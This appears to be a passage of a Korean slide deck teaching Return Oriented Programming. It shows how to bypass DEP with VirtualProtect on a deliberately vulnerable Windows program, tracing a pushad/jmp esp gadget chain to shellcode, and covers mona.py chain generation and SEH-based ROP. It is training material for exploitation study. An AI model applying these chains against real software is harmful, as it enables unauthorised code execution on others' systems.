  • 151. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 3 • memprotect 함수를 이용하여 직접 메모리 권한을 변경하여 DEP을 우회하는 방법도 있다 • memprotect 함수 • 메모리의 권한을 변경해주는 함수
  • 152. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • windows에서는 주로 ROP를 이용해 함수를 호출하여 DEP을 끄고, 셸 코드로 이동하는 방식을 이용 • Linux는 실행 파일은 ASLR을 적용해도 주소가 고정되어 있지만, Windows는 실행파일의 주소도 변경 됨 • ASLR 우회가 더 어렵다 • ROP을 할 경우 ASLR이 적용되지 않은 모듈을 이용해야 함 • 실행파일에 ASLR이 적용되지 않았다면 IAT Hooking을 이용할 수도 있겠다.. • 오른쪽은 DEP 우회를 위해 사용할 수 있는 함수들 • OS에 따라 사용할 수 있는 함수들이 갈린다 (다음 페이지) • Windows ROP에는 두 종류가 있다. • RET based • 스택의 return address를 조작하여 ROP 실행 • SEH based • SEH overwrite를 이용하여 ROP 실행 • 일단 RET based ROP를 하고, 뒤이어 SEH based ROP를 하겠음 API 기능 VirtualProtect 특정 메모리 영역의 권한 을 변경 VirtualAlloc + memcpy 새로운 실행 가능한 영역 생성 후 셸 코드 복사 SetProcessDEPPolicy 실행중인 프로세스의 DEP 정책 변경 NtSetInformationProcess 실행중인 프로세스의 DEP 정책 변경 WriteProcessMemory 셸코드를 쓰기/실행 가 능한 영역에 복사하여 실 행 HeapCreate + HeapAlloc + memcpy 새로운 실행 가능한 힙 영역 생성 후 셸 코드 복 사
  • 153. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • DEP 우회를 위해 사용할 수 있는 함수들은 OS 버전에 따라 사용 불가능할 수 있다.
  • 154. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • API들은 ASLR이 걸려있는 상태에서 주소가 다르기 때문에, Universal shellcode를 이용해야 한다. • EXE에 ASLR이 걸려있지 않고, IAT가 잡혀 있다면 IAT를 이용할 수 있음 • 일단 IAT를 이용하는 경우를 연습해보자! • 취약 프로그램 • IAT를 잡아 주기 위해 VirtualProtect함수를 넣었음 • 프로그램이 너무 작아 필요한 가젯을 찾기 힘들어서 임의로 넣었다. • 편의를 위해 gets로 바꿨음
  • 155. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • VirtualProtect 함수 • lpAddress : 권한을 변경할 메모리 시작 주소 • dwSize : 권한을 변경할 메모리 페이지의 바이트 크기 • flNewProtect : 변경할 설정 값 • pflOldProtect : 변경 전 상태를 저장할 포인터 • 참고 : 실제로는 정확히 dwSize만큼의 메모리만 권한을 변경해주는 게 아님 • 메모리 권한은 페이지 단위로 관리됨. • 만약 시작 주소로부터 dwSize만큼의 범위가 두 페이지 사이에 걸쳐 있다면 두 페이지 모두 권한이 바뀜 • 32비트에서는 stdcall을 따른다 • 함수 인자는 전부 스택에 push • 오른쪽 ->왼쪽 순서로 push • 계획 • VirtualProtect(셸 코드 주소, 셸 코드 크기, 0x40, 쓰기 가능한 주소) 호출 • 0x40은 PAGE_EXECUTE_READWRITE로 정의된 값임. 부록 참고. • 셸 코드 실행
  • 156. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • 계획 • VirtualProtect(셸 코드 주소, 셸 코드 크기, 0x40, 쓰기 가능한 주소) 호출 • -> 인자로 이용할 값들을 스택에 push해 주기 위한 가젯이 필요 • 셸 코드 실행 • 인자 설정은 레지스터 설정 가젯과 pushad가젯을 이용할 것 • pushad는 EAX -> ECX -> EDX -> EBX -> ESP -> EBP -> ESI -> EDI 순서로 push된다. • 설정하고자 하는 각 위치에 맞게 레지스터에 값을 설정해두고, pushad를 호출한다. • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP • 오른쪽은 pushad 직후 스택 상태 &RET &VirtualProtect &jmp ESP 셸 코드 주소 바이트 크기 0x40 쓰기 가능 주소 NOP sled (0x90909090) ...셸 코드... ... EDI ESI EBP ESP EBX EDX ECX EAX ESP <PUSHAD 후 스택>
  • 157. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 ESP <exploit 넣은 스택> push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP ESP <pop 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop과 ret 실행 pop edi ret [POP EDI 가젯] ebp = &jmp esp
  • 158. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP ESP <pop 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop과 ret 실행 pop edi ret [POP EDI 가젯] ebp = &jmp esp edi = &RET ESP <pop edi 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop esi ret [POP ESI 가젯]
  • 159. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pop과 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect IAT ESP <pop edi 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... mov esi, [esi] ret [MOV ESI, [ESI] 가젯] pop esi ret [POP ESI 가젯] ESP <pop esi 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ...
  • 160. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP mov esi, [esi]와 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect pop ebx ret [POP EBX 가젯] ESP <pop esi 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... ESP < mov esi, [esi] 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... mov esi, [esi] ret [MOV ESI, [ESI] 가젯]
  • 161. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pop과 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect ebx = 셸 코드 크기 pop edx ret [POP EDX 가젯] ESP < mov esi, [esi] 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... ESP < pop ebx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop ebx ret [POP EBX 가젯]
  • 162. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pop과 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect ebx = 셸 코드 크기 edx = 0x40 (권한) pop ecx ret [POP ECX 가젯] ESP < pop ebx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop edx ret [POP EDX 가젯] ESP < pop edx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ...
  • 163. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pop과 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect ebx = 셸 코드 크기 edx = 0x40 (권한) ecx = &버퍼 pop eax ret [POP EAX 가젯] ESP < pop edx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... ESP < pop ecx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop ecx ret [POP ECX 가젯]
  • 164. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pop과 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect ebx = 셸 코드 크기 edx = 0x40 (권한) ecx = &버퍼 eax = NOP sled pushad ret [PUSHAD 가젯] ESP < pop ecx 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pop eax ret [POP EAX 가젯] ESP < pop eax 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ...
  • 165. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • EDI : VirtualProtect를 호출하기 위한 RET가젯 • ESI : VirtualProtect 함수 주소 • EBP : jmp esp 가젯 • ESP : 셸 코드 주소 • EBX : 권한을 변경할 크기 • EDX : 설정할 권한 • ECX : write 가능한 주소 • EAX : NOP pushad와 ret 실행 ebp = &jmp esp edi = &RET esi = &VirtualProtect ebx = 셸 코드 크기 edx = 0x40 (권한) ecx = &버퍼 eax = NOP sled ret [RET 가젯] ESP < pushad 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... ESP < pop eax 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX 셸 코드 크기 &POP EDX 0x40 &POP ECX &버퍼 &POP EAX 0x90909090 &PUSHAD ...셸 코드... ... pushpad ret [PUSHAD 가젯]
  • 166. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 ret 실행 코드들.. ... ret 10 [VirtualProtect 호출] ESP < ret 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... ESP < pushad 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... ret [RET 가젯]
  • 167. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 VirtualProtect 함수, ret 10 실행 jmp esp [JMP ESP 가젯] ESP < ret10 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... ESP < ret 가젯 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... 코드들.. ... ret 10 [VirtualProtect 호출]
  • 168. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 jmp esp 실행 nop nop nop nop 셸 코드... ... ESP < ret10 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... jmp esp [JMP ESP 가젯] ESP < ret10 실행 후 스택> ...더미 데이터... &JUM ESP &POP EDI &RET &POP ESI &VirtualProtect IAT &mov ESI, [ESI] &POP EBX EDI (&RET) ESI (VirtualProtect 주소) EBP (&JMP ESP) ESP (셸 코드 주소) EBX (셸 코드 크기) EDX (0x40) ECX (&buf) EAX (NOP sled) ...셸 코드... ... 참고 : VirtualProtect 함수를 통해 페이지 단위로 권한이 바뀌었기 때문에 위의 nop에도 excute 권한이 생김(그럴 확률이 높음)
  • 169. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • 여기 까지가 원하는 시나리오 • -> 이런 좋은 가젯이 갖춰지는 환경은 흔하지 않다! • 실제로는 방금 살펴본 일과 똑같은 일을 빙 돌아서 하게 됨 • 많은 시간이 걸리고 골치 아프다.. • 그래서 보통 ROP를 도와주는 툴을 이용한다 • 리눅스에 ROPEME가 있다면 윈도우에는 mona.py가 있다. • mona의 rop 기능을 이용하여 rop를 조금 더 간편하게 할 수 있다. • ASLR이 적용되지 않은 모듈에서 ROP 가젯을 찾아준다. • 하지만 세세한 조정은 직접 해야 함. 손을 타는 일임
  • 170. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • !mona rop 명령어 실행 • 여러 파일을 만들어 준다. • rop_chains.txt 파일 : 주로 쓰이는 ROP chain 패턴을 생성 • VirtualProtect와 VirtualAlloc 을 이용하는 ROP chain을 짜 준다. • 각 언어(Ruby, C, Python, JavaScript)로 exploit 코드를 써 준다. • 없는 가젯은 0x00000000으로 써 주고, 주석에 표시함 • 이 부분은 직접 채워 넣어 완성해야 함 • 가젯이 전부 써 있더라도, 쓰레기 코드의 영향으로 앞에서 설정한 레지스터 값이 망가질 수 있음 • 체크해보고 수정해야 함 • rop.txt 파일 : 찾은 가젯들을 모아둠.
  • 171. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • !mona rop 명령어 실행 • 여러 파일을 만들어 준다. • rop_suggestions.txt 파일 : 가젯 중에서 쓸만한 가젯 들을 추천해준다. • stackpivot.txt 파일 : ESP를 ROP chain으로 이어주는 다리역할을 할 가젯을 추천해준다. • ESP를 적절히 조절하여 ROP chain으로 가져다 놓 는 역할을 할 만한 가젯들 • SEH를 이용한 exploit에는 stackpivot이 필요하다.
  • 172. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • rop_chains.txt가 꽤 잘 만들어졌으므로 이용하겠음 • 하지만 특정 레지스터에 pop하기 위해 이용한 가젯이 앞에서 설정한 레지스터를 오염시킴 • -> 재배치가 필요 ESI 설정, EAX 임시저장소로 이용 EDI 설정, ESI에 쓰레기 값 pop EBP 설정 EBX 설정, EBP에 쓰레기 값 pop
  • 173. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • 재배치한 rop chain • 레지스터가 망가지지 않도록 재배치했음 EBX 설정, EBP 쓰레기 값 EBP 설정 EDX 설정, EAX 임시장소로 이용 ECX 설정 EDI 설정, ESI 쓰레기 값 ESI 설정, EAX 임시 장소로 이용 EAX 설정 mona.py가 만들어주는 ROP chain에서는 VirtualProtect의 dwSize 크기를 기본적으로 0x201로 잡는다. 하지만 이 취약 프로그램의 경우 stack overflow가 나므로 좀 더 작게 잡았음.
  • 174. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1 • Exploit • ROP chain 바로 뒤에는 셸 코드를 붙였음
  • 175. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 2 • 앞에서 한 것은 RET based ROP • return address를 조작하여 ROP chain 실행 • 이번엔 SEH based ROP를 실습해 보자 • SEH Overwrite를 이용하여 ROP chain 실행 • 똑같은 취약 프로그램 이용
  • 179. 정리
  • 180. 정리
  • 181. 부록 • 참고 사이트
  • 182. 참고 사이트 • 기억 할 만한 gcc 컴파일 옵션 • http://blog.kimtae.xyz/85 • 파이썬 결과값 전달하기 (sh에게 입력 값을 줄 수 있도록 하기) • https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running- shellcode • https://stackoverflow.com/questions/30972544/gdb-exiting-instead-of-spawning-a-shell • 셸 커맨드의 세미콜론 역할 • https://unix.stackexchange.com/questions/187145/whats-the-difference-between-semicolon-and-double-ampersand • SEH overwrite 참고 문서 • http://cafe.naver.com/secuholic/9071